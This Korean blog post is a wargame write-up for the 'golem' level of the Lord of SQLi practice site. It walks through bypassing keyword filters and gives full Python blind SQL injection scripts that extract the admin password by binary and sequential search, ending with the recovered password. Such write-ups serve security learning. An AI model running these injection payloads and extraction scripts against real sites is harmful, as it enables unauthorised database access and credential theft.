[WARGAME][los] golem

jckim22·2022년 11월 24일
0

[WEBHACKING] STUDY (WARGAME)

목록 보기
103/114

아래는 서버 코드이다.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

위 코드를 보게 되면 또 쿼리가 2개이고 substr을 필터링 하는걸로 보아 blind sql injection임이 짐작이 간다.
아래에 문자들을 추가로 필터링한다.


일단 먼저 substr( 을 우회하기 위해 substr/**/( 이런식으로 우회도 해보았지만 잘 되지 않았다.
다른 것이 문제였을 수도 있다.



그리고 url에서 &&는 의미를 가지므로 아래와 같이 인코딩해서 사용해야 했다.

아래처럼 등호는 like로 우회해서 해보았는데 잘 되지 않았다.

혹시 다른것이 문제일까봐 아래와 같은 시도도 해보았지만 실패였다.

다시 처음부터 차근 차근 문제가 뭔지 알아내기 위해 아래와 같은 식으로 Hello guest를 출력해냈다.
3>1은 참이기 때문이다.

아래를 보자 like문으로 admin을 찾는 것도 문제가 없다.

substr을 우회하는 법을 찾아보니 lpad,right(left()) 등등이 있었다.

먼저 lpad를 사용해보았고 right(left))도 사용해보았다.

그리고 나는 욕심이 생겨 이번 문제에서 like 대신 부등호를 사용하여 이분 탐색으로 시간을 단축 시켜서 풀고 싶었다.

최종적으로 아래에 right(left))를 사용하기로 결정했다.
asd의 3번째는 d인데 그건 a보다 크므로 참이 되어 admin이 출력되는 것을 볼 수 있다.

그럼 이를 이용해서 이제 패스워드 길이를 구하는 코드를 짜보자.

import requests

url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"

cookies = {
    'PHPSESSID': ''
}

i = 0
start = 1
end = 100
while (True):

    i += 1
    mid=(start+end)//2

    params = {
        'pw': f"'|| (id)like('admin') && length(pw) > {mid} -- "
    }

    print(f"try{i}")

    if 'Hello admin' in requests.get(url, params=params, cookies=cookies).text:
        start=mid
        print(f"st{start}")
    else:
        end=mid
        print(f"en{end}")

    if end-start==1:
        print(f"pw length : {mid}")
        break

이분 탐색을 사용했다.
결국 end-start는 1이 될 것이므로 1이 되었을 때에 mid 값이 바로 구하는 값이다.
이분 탐색과 쿼리를 바꾼 것 빼고는 전에 썼던 익스플로잇을 참고해서 코드를 짰다.

조건문 마다 print를 해준 것은 알고리즘 공부할 때 많이 사용한 것인데 과정을 보면서 디버깅하려고 해놓은 것이다.

그렇게 해서 실행한 결과는 아래와 같다.

보면 결국 이번에도 pw의 길이는 8인 것을 볼 수 있다.

그리고 like를 사용하는 방법도 있으므로 아래와 같이 웹페이지에서 직접 like(8)로 비밀번호 길이가 맞는지 재확인한 결과 Hello admin이 출력되면서 비밀번호 길이는 8로 확정이 났다.

그럼 이제 최종 익스플로잇 코드를 짜보자.

이분 탐색과 아스키 코드를 이용한 익스플로잇을 짜보았다.

아래는 최종 익스플로잇 코드이다.

import requests

url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"

cookies = {
    'PHPSESSID': ''
}

i = 0
start = 1
end = 100
while (True):

    i += 1
    mid=(start+end)//2

    params = {
        'pw': f"'|| (id)like('admin') && length(pw) > {mid} -- "
    }

    print(f"try{i}")
    
    if 'Hello admin' in requests.get(url, params=params, cookies=cookies).text:
        start=mid
        print(f"st{start}")
    else:
        end=mid
        print(f"en{end}")

    if end-start==1:
        print(f"pw length : {end}")
        pw_length=mid
        break


pw=""


for i in range(1,pw_length+1):   
    start = 48
    end = 127

    while(True):
        mid=(start+end)//2
        print(mid)
        print(chr(mid))
        params={
            'pw': f"'|| (id)like('admin') && right(left(pw,{str(i)}),1) > '{chr(mid-1)}' -- "
        }

        res=requests.get(url,params=params,cookies=cookies)

        if end-start<=1:
            print(f"{i}번째 문자는{chr(mid)}") 
            pw+=chr(mid)
            break       


        if 'Hello admin' in res.text:
            start=mid
            print(f"st{start}")
        else:
            end=mid
            print(f"en{end}")


    
    

print(f"password : {pw}")

        

        

이진 탐색으로 구했는데 실행결과는 아래와 같다.


이진 탐색은 아래의 수행시간을 갖게 된다.



아래 순차탐색의 수행시간은 n인데 logn과는 데이터가 무한정으로 크다고 하면 엄청난 수행시간에 차이가 난다.

알고리즘에 관한 내용들은 다른 포스팅에서 많이 다뤘다.
아래 링크에서 확인할 수 있다.
알고리즘 포스팅 시리즈 링크

추가적으로 비교를 위해 아래에 like로도 익스플로잇을 짰다.

아래는 순차탐색 익스플로잇이다.

import requests

url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"

cookies = {
    'PHPSESSID': ''
}

i = 0
start = 1
end = 100
while (True):

    i += 1
    mid=(start+end)//2

    params = {
        'pw': f"'|| (id)like('admin') && length(pw) > {mid} -- "
    }

    print(f"try{i}")
    
    if 'Hello admin' in requests.get(url, params=params, cookies=cookies).text:
        start=mid
        print(f"st{start}")
    else:
        end=mid
        print(f"en{end}")

    if end-start==1:
        print(f"pw length : {end}")
        pw_length=mid
        break


pw=""


for i in range(1,pw_length+1):
    for j in range(38,128):
        params={
            'pw': f"'|| (id)like('admin') && right(left(pw,{str(i)}),1)like(0x{hex(j)}) -- "
        }

        res=requests.get(url,params=params,cookies=cookies)

        if 'Hello admin' in res.text:
            pw+=chr(j)
            print(f"{i}번째 문자는{chr(j)}")
            break


print(f"password : {pw}")

비밀번호의 길이는 이진탐색으로 구했지만 위에서는 단순 순차 탐색으로 비밀번호를 구했다.
등호를 like로 우회하고 substr은 right(left)로 우회했다.

그렇게 실행하면 아래와 같은 결과가 나온다.

아래는 차례로 이진탐색과 순차탐색 익스플로잇에 수행시간이다.


이렇게 알고리즘을 사용하는 것이 훨씬 효율적일 수 있다.

본론으로 돌아와
위에 구한 pw는 파라미터로 입력했을 때 성공하지 못했는데 sql에서는 소,대문자 구분이 없기에 내가 짠 쿼리를 수정해야 했다.
하지만 대문자가 2개밖에 없어서 경우의 수는 4가지였다.

그래서 다 해본 결과 77d6290b가 pw임을 구해냈다.

결국 아래처럼 clear 할 수 있다.

profile
개발/보안

0개의 댓글